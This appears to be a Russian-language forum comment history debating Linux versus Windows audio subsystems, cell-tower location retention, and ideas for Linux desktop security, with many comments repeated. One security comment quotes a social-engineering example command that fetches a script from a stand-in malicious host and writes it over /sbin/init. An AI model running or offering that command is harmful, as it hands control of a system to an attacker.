> под Windows тоже достаточно большой зоопарк библиотек для работы со звуком, но едва ли смогу сходу назвать больше 5 способов вывода звука. Под Linux же без труда можно набрать десяток
Назовите же десяток, если можете. Все способы в итоге сведутся к выводу через ALSA. Даже согласно приведённой учтаревшей картинки, если речь не идёт о Bluetooth или FireWire устройствах.
И после этого Вы говорите, что все эти способы «несправедливо» называть надстройками.
> Я всего лишь напоминаю про ряд ошибок которые приводили к ненужному ресепмлингу и портили звук, так же как описывается в посте.
В этом посте говорится о конкретных проблемах звуковой подсистемы windows. Про ошибки и «косяки» Linux в вашем комментарии сказано как-то обобщённо, без конкретики.
> Ошибки в настройках распространяемых с дистрибутивами.
Какие именно ошибки?
> Ошибки в alsa, pulseaudio, gstreamer.
Какие именно ошибки?
> Ошибки в приложениях воспроизводящих звук.
Какие именно ошибки?
> Неужели не встречались?
Нет. Можете за меня порадоваться.
В windows тоже много что используется. Можно вспомнить все библиотеки и фильтры, нарисовать граф взаимосвязей между ними на квадратный километр и утверждать об обилии звуковых подсистем в винде.
В то же время ASIO, скажем — это вовсе не звуковая подсистема windows, а лишь API для прямого доступа к буферам карты, реализованый библиотекой и драйвером. Аналогичное API можно реализовать в любой операционной системе.
Фильтры же — это всего лишь надстройки над подсистемой DirectSound и тоже не являются сомостоятельными подсистемами. Зачем всё усложнять?
OSS может и не устаревшая, но «велосипед» ALSA значительно моложе и функциональнее. Поэтому OSS никто не использует. В современных дистрибутивах OSS не поставляется как самостоятельная подсистема, а лишь эмулируется на уровне ALSA, так что, по существу, тоже является надстройкой.
Ресэмплинг необходим в двух случаях:
1. Когда карта не поддерживает звуковой формат, в котором выводит приложение.
2. Когда разные приложения одновременно выводят звук в разных форматах.
В остальных случаях необходимости в нём нет. Но windows, начиная с vista, всё равно его проводит, ориентируясь на худшие чипы кодеков. Интересы владельцев приличного железа при этом игнорируются.
При этом ресэмплинг как таковой не является безусловным злом или «косяком». Но прореживающий алгоритм ресэмплинга, применяемый в звуковой подсистеме windows, оставляет желать лучшего, вносит задержки и спектральные искажения. Передискретизация с фильтром Ланцоша лишена таких недостатков.
Таким образом, Вы утверждаете о «косяке» линукса, которого нет в Linux, но который есть в Windows. Я всё ещё тролль? Или всё же кандидат наук и специалист в области акустики?
Повторюсь. Никакого «обилия звуковых подсистем» в Linux нет. Есть открытая стандартная подсистема ALSA. Стандарты и API не меняются со временем, урезания функционала в новых версиях не происходит.
Pulseaudio и Jackd работают как надстройки над ALSA. Для фильмов, музыки и игрушек они не нужны. Их задача — продвинутая маршрутизация сигнала с низкими задержками, в том числе в распределённой вычислительной системе (по сети). Эти надстройки предоставляют дополнитнльные возможности, и никто не заставляет ими пользоваться. К слову, в винде таких возможностей нет.
OSS — устаревшая unix технология, оставленная для совсестимости и поддержки старого ПО, как раз для того, чтобы не возникало вопросов «как вернуть качественный звук». Вот где микрософту следовало бы поучиться последовательности. Только у них несколько другие интересы.
Называйте меня хоть троллем, хоть эльфом, от этого количество фактических ошибок на представленной Вами устаревшей картинке не уменьшится.
Или пытаетесь отвлечь внимание и уклониться от вопроса о «косякях»? Какие косяки имелись в виду?
SMS-центр и стандарт RRLP тут совершенно не при чём. Похоже на дешёвый развод, чтобы не волновать хомячков.
В РФ (к примеру) сотовые операторы обязаны (иначе отберут лицензию) сохранять и длительное время (3 года и более) хранить информацию о том, к какой соте подключался каждый абонент, какой сегмент этой соты его обслуживал и какой был уровень сигнала.
Эта информация предоставляется по решению суда и позволяет с высокой точностью (реально от 10 м до 1 км) определить местоположение любого абонента в любой момент времени. Почитайте судебную практику.
> Причем насколько я понял по первым выдачам гугла с ASIO в Linux как-то совсем не очень вообще.
ASIO — Проприетарная технология компании Steinberg. Сфера применения данного аудиоинтерфейса, как правило, ограничивается Microsoft Windows, так как в других операционных системах (например, в Mac OS X или Linux) отсутствуют подобные проблемы с задержками и микшированием. ru.wikipedia.org/wiki/Asio
> И подозреваю что с EAX последних версий в Linux тоже не очень, да?
EAX используется реализациями свободного кроссплатформенного интерфейса OpenAL одинаково успешно на всех платформах.
> не надо думать что в Win что-то менее удобно
Достаточно прочитать название топика. Хотя во многом это дело привычки, тут я согласен. К счастью, существующие тенденции к стандартизации интерфейса уже позволяют делать оптимальный выбор, основываясь не на привычках, а на объективных факторах.
Мне корпоративный виндовс никто не дарил. А «покупать семёрку» не вижу смысла — у меня и так работает всё, что мне нужно.
Много лет успешно использую для этого дистрибутив Ubuntu. Сейчас рекомендую всем использовать runtu, так как там все кодеки уже установлены даже в режиме livecd.
Вы считаете более удобным платить деньги, ставить винду, потом дрова и кодеки, потом подбирать проигрыватель, который поддерживает WASAPI Exclusive? Когда давно уже можно просто вставить диск и посмотреть кино… Мне кажется, выбор очевиден.
Заметьте, что я неспроста привёл цифру 2011. Пять лет назад мультимедиа-функции операционных систем на базе ядра Linux действительно были менее удобнее, чем, скажем, в WinXP.
Все, кто сейчас (в 2011 году) заявляют о «неудобствах» — просто не знают, о чём говорят. Не знакомы с предметом обсуждения.
1. Вы передёргиваете.
2. Тогда возможность поддержки форматов есть и у микроволновки — это только вопрос прошивки.
3. Корректно сравнивать PC с железный проигрываталем. Корректно сравнивать windows с прошивкой проигрывателя. Сравнивать операционную систему с «железным устройством» некорректно. Хоть в плане обработки сигнала, хоть в плане вычисления числа пи.
4. Очень жаль, что Вы не знаете альтернатив.
Что не так? Я вижу в Вашем комментарии 4 тезиса, все из которых считаю неверными.
1. Источником сигнала является не Windows, а актёры и музыканты.
2. Windows не имеет изначально «возможностей по поддержке форматов», эти возможности обеспечивают сторонние декодировщики.
3. Некорректно сравнивать операционную систему с «железным устройством».
4. Windows — далеко не единственная операционная система на планете, а в многих отраслях даже не лидирующая.
Я понял, что это режим, в котором только одно приложение может выводить звук — то, которое первое успело (как в 95 винде).
Взамен многозадачности получаем почти побитовый ввод-вывод без быстрого ресэмплирования (если карта поддерживает формат вывода приложения, что бывает не всегда).
Ну ладно бы ещё игрушки…
Но использовать Windows для музыки и кино в 2011 году — это безрассудство.
Вам палки в колёса вставляют — но вы всё равно едете на телеге.
1. Про минимальные привилегии и создание нового API я написал комментарием выше.
2. Про ненужность установки — не совсем согласен. Смотря как это реализовано.
3. Что мешает разделить ПО на уровне uid? Запускать под разными пользователями, но соединять с одним X-сервером, например.
Ещё возникла идея. Если программе надо читать файл, но нельзя допустить, чтоб она его писала — подсовываем ей хардлинк с ограниченными правами. Другим программам, которым можно писать этот файл, подсовываем хардлинк с более широкими правами.
Есть ещё идея совсем запретить приложению писать/читать любые файлы. Это можно будет сделать только через API, сомвещённое с диалоговыми окнами открытия/сохранения. Можно ещё создать API для чтения/сохранения своих конфигов без доступа к чужим. Главное, чтобы при этом внезапно windows не получился. )))
Я имел в виду корпоративное использование. Дома пользователь той же Ubuntu может запросто заразить не только свой каталог, но всю систему, если ему напишут «Для просмотра порноролика отправьте yaloh на 777 и затем наберите в консоли sudo wget vredhost/script -O /sbin/init и свой пароль для системы».
Для дома «админ приходит» можно заменить на проверку квалификации пользователя. Для этого нужен набор вопросов типа «напишите полный путь к вашему домашнему каталогу» или «сколько разделов на вашем жёстком диске?». Хотя и это бредовая идея и не во всех случаях спасёт.
Ну есть ещё вариант резать всё неподписанное. Я его и придерживаюсь. Хочешь запустить — показывай паспорт и получай ключ. Тогда хоть будет понятно, кого по попке отшлёпать за зловреда. Понятно, что это не бесплатно, но процедуру можно сделать доступнее или найти спонсора. Марк Шаттлворт, кстати, именно на выдаче сертификатов и заработал денег на убунту.
Может я параноик, но флешплеер у меня не стоит в моей Ubuntu 8.04. Подписанных программ из официального репозитория хватает для всего. Система старая (скоро 3 года), пора бы обновить, но ведь работает, стерва такая, не ломается при всех моих экспериментах. А рисковать настроенным окружением неохота.
Кстати, если говорить о моей системе (да и о большинстве домашних убунт), но наибольшая опасность не в разрушении домашней директории (они у меня большая и всегда имеется резервная копия), а в порче файлов на примонтированные разделы. Они доступны для записи пользователю. Если это FAT или NTFS — то совсем беда. В случае с ext3 использую такой вариант. Есть директория со статическими файлами. Её содержимое вручную из-под рута делается незаписываемым. Там же хранятся и бэкапы. Такое положение вещей позволяет мне спать относительно спокойно. Запущенный из-под пользователя зловред не сможет много убить. Критично важные вещи, разумеется, хранятся также в ещё одном месте.
Тезис про частоту появления вопросов интересен, но если пользователь может что-то испортить — то он когда-нибудь испортит. Даже если надо будет для этого 33 раза набить на клавиатуре «Я ПОНИМАЮ ОПАСНОСТЬ». Говорят, обезьяна может «Войну и мир» написать, вопрос времени только. А сложный прибор проще сломать, чем не сломать.
Я скорее за то, чтобы таких вопросов не было совсем. Вместо окна пользователю «эта порнушка может быть опасна» лучше отправлять сообщение администратору о попытке превышения полномочий и запуска неподписанного приложения или приложения с сомнительным профилем безопасности. Сомнительные — это те, которые меняют чужие конфиги или трогают автозапуск. А админ приходит и разбирается, решает задачу. Создаёт репозиторий лично проверенных порнофильмой, подписывает его своим ключём, импортирует ключ нужным пользователям в систему, к примеру )))
Либо разрешать запускать такое ПО только под другим пользователем, созданным специально для этого приложения с контролем или ограничением сетевой активности и вообще ресурсов (порты smtp закрыть, к примеру, и сканирование сети выявлять), ограничить число создаваемых инодов, nice отрегулировать. Типа «запуск приложения в этом сеансе невозможет, так как это может навредить безопасности. Хотите переключиться в новый сеанс? Точно-точно? Там обоев на рабочем столе не будет!»
В любом случае, оценка потенциальных слабых мест в компьютерной безопасности — это большая часть работы. Так что статья очень хорошая.
Назовите же десяток, если можете. Все способы в итоге сведутся к выводу через ALSA. Даже согласно приведённой учтаревшей картинки, если речь не идёт о Bluetooth или FireWire устройствах.
И после этого Вы говорите, что все эти способы «несправедливо» называть надстройками.
> Я всего лишь напоминаю про ряд ошибок которые приводили к ненужному ресепмлингу и портили звук, так же как описывается в посте.
В этом посте говорится о конкретных проблемах звуковой подсистемы windows. Про ошибки и «косяки» Linux в вашем комментарии сказано как-то обобщённо, без конкретики.
> Ошибки в настройках распространяемых с дистрибутивами.
Какие именно ошибки?
> Ошибки в alsa, pulseaudio, gstreamer.
Какие именно ошибки?
> Ошибки в приложениях воспроизводящих звук.
Какие именно ошибки?
> Неужели не встречались?
Нет. Можете за меня порадоваться.
В то же время ASIO, скажем — это вовсе не звуковая подсистема windows, а лишь API для прямого доступа к буферам карты, реализованый библиотекой и драйвером. Аналогичное API можно реализовать в любой операционной системе.
Фильтры же — это всего лишь надстройки над подсистемой DirectSound и тоже не являются сомостоятельными подсистемами. Зачем всё усложнять?
OSS может и не устаревшая, но «велосипед» ALSA значительно моложе и функциональнее. Поэтому OSS никто не использует. В современных дистрибутивах OSS не поставляется как самостоятельная подсистема, а лишь эмулируется на уровне ALSA, так что, по существу, тоже является надстройкой.
Ресэмплинг необходим в двух случаях:
1. Когда карта не поддерживает звуковой формат, в котором выводит приложение.
2. Когда разные приложения одновременно выводят звук в разных форматах.
В остальных случаях необходимости в нём нет. Но windows, начиная с vista, всё равно его проводит, ориентируясь на худшие чипы кодеков. Интересы владельцев приличного железа при этом игнорируются.
При этом ресэмплинг как таковой не является безусловным злом или «косяком». Но прореживающий алгоритм ресэмплинга, применяемый в звуковой подсистеме windows, оставляет желать лучшего, вносит задержки и спектральные искажения. Передискретизация с фильтром Ланцоша лишена таких недостатков.
Таким образом, Вы утверждаете о «косяке» линукса, которого нет в Linux, но который есть в Windows. Я всё ещё тролль? Или всё же кандидат наук и специалист в области акустики?
Pulseaudio и Jackd работают как надстройки над ALSA. Для фильмов, музыки и игрушек они не нужны. Их задача — продвинутая маршрутизация сигнала с низкими задержками, в том числе в распределённой вычислительной системе (по сети). Эти надстройки предоставляют дополнитнльные возможности, и никто не заставляет ими пользоваться. К слову, в винде таких возможностей нет.
OSS — устаревшая unix технология, оставленная для совсестимости и поддержки старого ПО, как раз для того, чтобы не возникало вопросов «как вернуть качественный звук». Вот где микрософту следовало бы поучиться последовательности. Только у них несколько другие интересы.
Называйте меня хоть троллем, хоть эльфом, от этого количество фактических ошибок на представленной Вами устаревшей картинке не уменьшится.
Или пытаетесь отвлечь внимание и уклониться от вопроса о «косякях»? Какие косяки имелись в виду?
В РФ (к примеру) сотовые операторы обязаны (иначе отберут лицензию) сохранять и длительное время (3 года и более) хранить информацию о том, к какой соте подключался каждый абонент, какой сегмент этой соты его обслуживал и какой был уровень сигнала.
Эта информация предоставляется по решению суда и позволяет с высокой точностью (реально от 10 м до 1 км) определить местоположение любого абонента в любой момент времени. Почитайте судебную практику.
ASIO — Проприетарная технология компании Steinberg. Сфера применения данного аудиоинтерфейса, как правило, ограничивается Microsoft Windows, так как в других операционных системах (например, в Mac OS X или Linux) отсутствуют подобные проблемы с задержками и микшированием.
ru.wikipedia.org/wiki/Asio
> И подозреваю что с EAX последних версий в Linux тоже не очень, да?
EAX используется реализациями свободного кроссплатформенного интерфейса OpenAL одинаково успешно на всех платформах.
> не надо думать что в Win что-то менее удобно
Достаточно прочитать название топика. Хотя во многом это дело привычки, тут я согласен. К счастью, существующие тенденции к стандартизации интерфейса уже позволяют делать оптимальный выбор, основываясь не на привычках, а на объективных факторах.
Мне корпоративный виндовс никто не дарил. А «покупать семёрку» не вижу смысла — у меня и так работает всё, что мне нужно.
Вы считаете более удобным платить деньги, ставить винду, потом дрова и кодеки, потом подбирать проигрыватель, который поддерживает WASAPI Exclusive? Когда давно уже можно просто вставить диск и посмотреть кино… Мне кажется, выбор очевиден.
Заметьте, что я неспроста привёл цифру 2011. Пять лет назад мультимедиа-функции операционных систем на базе ядра Linux действительно были менее удобнее, чем, скажем, в WinXP.
Все, кто сейчас (в 2011 году) заявляют о «неудобствах» — просто не знают, о чём говорят. Не знакомы с предметом обсуждения.
2. Тогда возможность поддержки форматов есть и у микроволновки — это только вопрос прошивки.
3. Корректно сравнивать PC с железный проигрываталем. Корректно сравнивать windows с прошивкой проигрывателя. Сравнивать операционную систему с «железным устройством» некорректно. Хоть в плане обработки сигнала, хоть в плане вычисления числа пи.
4. Очень жаль, что Вы не знаете альтернатив.
И, заметьте, ALSA обеспечивает единый открытый стандарт, который не меняется при выходе каждой новой версии.
Может, Вы видели где-то тему «Как вернуть качественный звук в Linux»? Или что Вы имели в виду под косяками? Отвечайте за свои слова.
1. Источником сигнала является не Windows, а актёры и музыканты.
2. Windows не имеет изначально «возможностей по поддержке форматов», эти возможности обеспечивают сторонние декодировщики.
3. Некорректно сравнивать операционную систему с «железным устройством».
4. Windows — далеко не единственная операционная система на планете, а в многих отраслях даже не лидирующая.
Взамен многозадачности получаем почти побитовый ввод-вывод без быстрого ресэмплирования (если карта поддерживает формат вывода приложения, что бывает не всегда).
Но использовать Windows для музыки и кино в 2011 году — это безрассудство.
Вам палки в колёса вставляют — но вы всё равно едете на телеге.
2. Про ненужность установки — не совсем согласен. Смотря как это реализовано.
3. Что мешает разделить ПО на уровне uid? Запускать под разными пользователями, но соединять с одним X-сервером, например.
Ещё возникла идея. Если программе надо читать файл, но нельзя допустить, чтоб она его писала — подсовываем ей хардлинк с ограниченными правами. Другим программам, которым можно писать этот файл, подсовываем хардлинк с более широкими правами.
Для дома «админ приходит» можно заменить на проверку квалификации пользователя. Для этого нужен набор вопросов типа «напишите полный путь к вашему домашнему каталогу» или «сколько разделов на вашем жёстком диске?». Хотя и это бредовая идея и не во всех случаях спасёт.
Ну есть ещё вариант резать всё неподписанное. Я его и придерживаюсь. Хочешь запустить — показывай паспорт и получай ключ. Тогда хоть будет понятно, кого по попке отшлёпать за зловреда. Понятно, что это не бесплатно, но процедуру можно сделать доступнее или найти спонсора. Марк Шаттлворт, кстати, именно на выдаче сертификатов и заработал денег на убунту.
Может я параноик, но флешплеер у меня не стоит в моей Ubuntu 8.04. Подписанных программ из официального репозитория хватает для всего. Система старая (скоро 3 года), пора бы обновить, но ведь работает, стерва такая, не ломается при всех моих экспериментах. А рисковать настроенным окружением неохота.
Кстати, если говорить о моей системе (да и о большинстве домашних убунт), но наибольшая опасность не в разрушении домашней директории (они у меня большая и всегда имеется резервная копия), а в порче файлов на примонтированные разделы. Они доступны для записи пользователю. Если это FAT или NTFS — то совсем беда. В случае с ext3 использую такой вариант. Есть директория со статическими файлами. Её содержимое вручную из-под рута делается незаписываемым. Там же хранятся и бэкапы. Такое положение вещей позволяет мне спать относительно спокойно. Запущенный из-под пользователя зловред не сможет много убить. Критично важные вещи, разумеется, хранятся также в ещё одном месте.
dl.dropbox.com/u/2608230/img/bart.gif
Я скорее за то, чтобы таких вопросов не было совсем. Вместо окна пользователю «эта порнушка может быть опасна» лучше отправлять сообщение администратору о попытке превышения полномочий и запуска неподписанного приложения или приложения с сомнительным профилем безопасности. Сомнительные — это те, которые меняют чужие конфиги или трогают автозапуск. А админ приходит и разбирается, решает задачу. Создаёт репозиторий лично проверенных порнофильмой, подписывает его своим ключём, импортирует ключ нужным пользователям в систему, к примеру )))
Либо разрешать запускать такое ПО только под другим пользователем, созданным специально для этого приложения с контролем или ограничением сетевой активности и вообще ресурсов (порты smtp закрыть, к примеру, и сканирование сети выявлять), ограничить число создаваемых инодов, nice отрегулировать. Типа «запуск приложения в этом сеансе невозможет, так как это может навредить безопасности. Хотите переключиться в новый сеанс? Точно-точно? Там обоев на рабочем столе не будет!»
В любом случае, оценка потенциальных слабых мест в компьютерной безопасности — это большая часть работы. Так что статья очень хорошая.